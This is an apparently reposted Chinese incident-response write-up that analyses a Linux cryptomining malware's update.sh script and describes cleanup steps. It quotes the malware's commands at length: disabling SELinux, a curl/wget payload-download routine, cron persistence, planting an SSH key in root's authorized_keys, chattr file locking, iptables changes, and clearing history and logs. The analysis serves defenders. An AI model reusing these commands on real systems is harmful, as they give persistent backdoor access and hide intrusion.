序
這是第二次遇到該挖礦病毒,網上也有很多大佬對該病毒做過分析,也想過再寫可能沒有什么意義,最終還是想寫一寫屬於自己的東西,也算是兩次相遇的總結。
背景
這次廢話不多說,直接上,背景感覺毫無意義。
分析
現象確認
首先確認現象,通過查看系統進程發現存在CPU占用過高的現象,如下圖:
查看進程信息:
進程關聯查看,發現該病毒啟動時間是在2020.09.18 10:00:01。
update.sh腳本分析
通過對程序進行分析,發現該病毒程序同路徑下存在update.sh文件(/etc/update.sh),通過對該文件進行分析,發現該文件為挖礦病毒執行的腳本文件,因此對該腳本文件進行分析。
定義系統變量
關閉selinux防火牆,隱藏輸出的錯誤信息,如果有錯誤信息就輸出到空設備2>/dev/null空設備:
setenforce 0 2>dev/null
關閉selinux:
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
把內容同步寫入磁盤
sync && echo 3 >/proc/sys/vm/drop_caches
設置變量:
crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}`
查看ssh公鑰信息
ssht=`cat /root/.ssh/authorized_keys` #ssht = cat /root/.ssh/authorized_keys
關閉相關病毒程序
使用ps auxf查看所有進程,並針對kinsiing進行查找,awk是tab分割,print $2是取出第二個單詞,ps auxf查看進程中第二單詞為PID(這里關閉的進程較多,只列舉其中一些):
ps auxf|grep kinsing| awk '{print $2}'|xargs kill -9 ps auxf|grep kdevtmpfsi| awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9 netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
seliunx探測,檢查是否關閉
if [ -f "/usr/bin/curl" ] then echo $1,$2 http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1` if [ "$http_code" -eq "200" ] then curl --connect-timeout 10 --retry 100 $1 > $2 elif [ "$http_code" -eq "405" ] then curl --connect-timeout 10 --retry 100 $1 > $2 else curl --connect-timeout 10 --retry 100 $3 > $2 fi elif [ -f "/usr/bin/cur" ] then http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1` if [ "$http_code" -eq "200" ] then cur --connect-timeout 10 --retry 100 $1 > $2 elif [ "$http_code" -eq "405" ] then cur --connect-timeout 10 --retry 100 $1 > $2 else cur --connect-timeout 10 --retry 100 $3 > $2 fi elif [ -f "/usr/bin/wget" ] then wget --timeout=10 --tries=100 -O $2 $1 if [ $? -ne 0 ] then wget --timeout=10 --tries=100 -O $2 $3 fi elif [ -f "/usr/bin/wge" ] then wge --timeout=10 --tries=100 -O $2 $1 if [ $? -eq 0 ] then wge --timeout=10 --tries=100 -O $2 $3 fi fi
判斷是否運行相同程序的挖礦病毒,如果有則刪除
ps axf -o "pid"|while read procid #輸出所有pid信息 do ls -l /proc/$procid/exe | grep /tmp if [ $? -ne 1 ] then cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice" if [ $? -ne 0 ] then kill -9 $procid else echo "don't kill" fi fi done ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid #查找所有PID中cpu大於40的 do cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice" if [ $? -ne 0 ] #$?取上一個執行命令的狀態,成功返回0,錯誤返回其他字符 -ne then kill -9 $procid else echo "don't kill" fi done
解鎖操作
chattr -R -i /var/spool/cron #-R遞歸處理,解鎖/var/spool/cron目錄下的所有文件及子目錄 chattr -i /etc/crontab
對文件進行加鎖
chattr -R +i /var/spool/cron chattr +i /etc/crontab
挖礦病毒相關執行
解鎖文件
echo "i am root" echo "goto 1" >> /etc/sysupdates chattr -i /etc/sysupdate* chattr -i /etc/config.json* chattr -i /etc/update.sh* chattr -i /root/.ssh/authorized_keys* chattr -i /etc/networkservice
啟動項配置:
then unlock_cron #調用解鎖 echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir} lock_cron #加鎖 else unlock_cron [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab - lock_cron
配置SSH,用於登錄
chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 root/.ssh/authorized_keys echo "ssh-rsa xxx root@u17" >> /root/.ssh/authorized_keys #寫入公鑰文件
依次對/etc/config.json|sysupdate|sysguard的文件大小,並對對應文件進行下載:
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'` if [ "$filesize_config" -ne "$config_size" ] then pkill -f sysupdate rm /etc/config.json downloads $config_url /etc/config.json $config_url_backup else echo "no need download"
下載update.sh
downloads $sh_url /etc/update.sh $sh_url_backup
對/etc/networkservice文件大小進行比較,並下載對應文件:
if [ -f "/etc/networkservice" ] #對/etc/networkservice文件大小進行比較 then filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'` if [ "$filesize2" -ne "$scan_size" ] then pkill -f networkservice rm /etc/networkservice downloads $scan_url /etc/networkservice $scan_url_backup else echo "not need download" fi else downloads $scan_url /etc/networkservice $scan_url_backup
對sysupdate|networkservice|sysguard分別進行提權,並對執行的程序進行判定,是否為root執行,並再次執行,如下:
提權
chmod 777 /etc/sysupdate
判斷是否為root,並運行程序
if [ $? -ne 0 ] then cd /etc echo "not root runing" sleep 5s ./sysupdate & else echo "root runing....." fi
再對/etc/下的病毒文件進行加鎖,並對/tmp/路徑下的病毒文件進行解鎖,如下:、
chmod 777 /etc/sysupdate chattr +i /etc/sysupdate chmod 777 /etc/networkservice chattr +i /etc/networkservice chmod 777 /etc/config.json chattr +i /etc/config.json chmod 777 /etc/update.sh chattr +i /etc/update.sh chmod 777 /root/.ssh/authorized_keys chattr +i /root/.ssh/authorized_keys else echo "goto 1" > /tmp/sysupdates chattr -i /tmp/sysupdate* chattr -i /tmp/networkservice chattr -i /tmp/config.json* chattr -i /tmp/update.sh*
相關解鎖動作完成后會在tmp路徑再次進行etc路徑下的操作,操作完成后,會在此對tmp路徑下的病毒文件進行加鎖操作,這里不在列舉,可參照上述信息。
痕跡擦除
完成上述操作后會刪除已有規則,並新建相關規則,清除歷史命令操作和清除相關日志信息,如下:
iptables -F #清除預設表filter中的所有規則鏈的規則 iptables -X #清除預設表filter中使用者自定鏈中的規則 iptables -A OUTPUT -p tcp --dport 3333 -j DROP # -A:添加到規則末尾 -p:協議 --dport:目標端口 -j:匹配規則 DROP:丟棄 iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP iptables -I INPUT -s 43.245.222.57 -j DROP #-I:添加到指定位置 INPUT:進入 -s:源端IP地址 service iptables reload #重啟iptables ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 history -c #清理歷史命令 echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history
上述為update.sh腳本的相關操作,通過對腳本進行分析,可以發現該挖礦病毒主要依賴進程和啟動項信息,借此可以對該病毒進行清理。
處置
文件確認
/etc目錄文件發現sysupdate、sguard等文件
/tmp路徑未發現文件
啟動項確認
通過對啟動項進行查看,未發現啟動項信息,如下:
病毒清理
通過上述分析,已明確相關信息,因此進行病毒清理。
關閉進程
通過查看進程信息,關閉所有與病毒相關進程:
刪除病毒文件
無法直接刪除文件:
因此需要解鎖文件屬性:
刪除文件,並查看是否存在異常文件,通過查看,發現異常文件已清理:
系統恢復
通過刪除相關文件,完成對病毒清理,系統恢復:
命令匯總
命令 |
命令用途 |
ps -aux |
查看系統進程信息 |
systemctl status [pid] |
關聯信息查看 |
Ls -l /proc/pid/exe |
進程信息查看 |
crontab -r |
啟動項信息查看 |
Netsata -anpt |
網絡連接信息查看 |
rm -rf |
刪除 |
總結
該腳本分析的意義在於可以快速定位到相關文件進行處置,對應急不熟悉linux系統命令的小伙伴在對病毒清理時,不知道那些是病毒文件,那些正常文件,對此無從下手。上述我將應急過程中最實用的命令列舉如上。由於在日常生活中,使用桌面操作較多,因此對命令行使用不熟悉,找不到相關文件,因此對linux系統挖礦病毒清理較為恐懼,希望通過對腳本分析這種方式對剛入門的小伙伴有所幫助。
轉 FreeBuf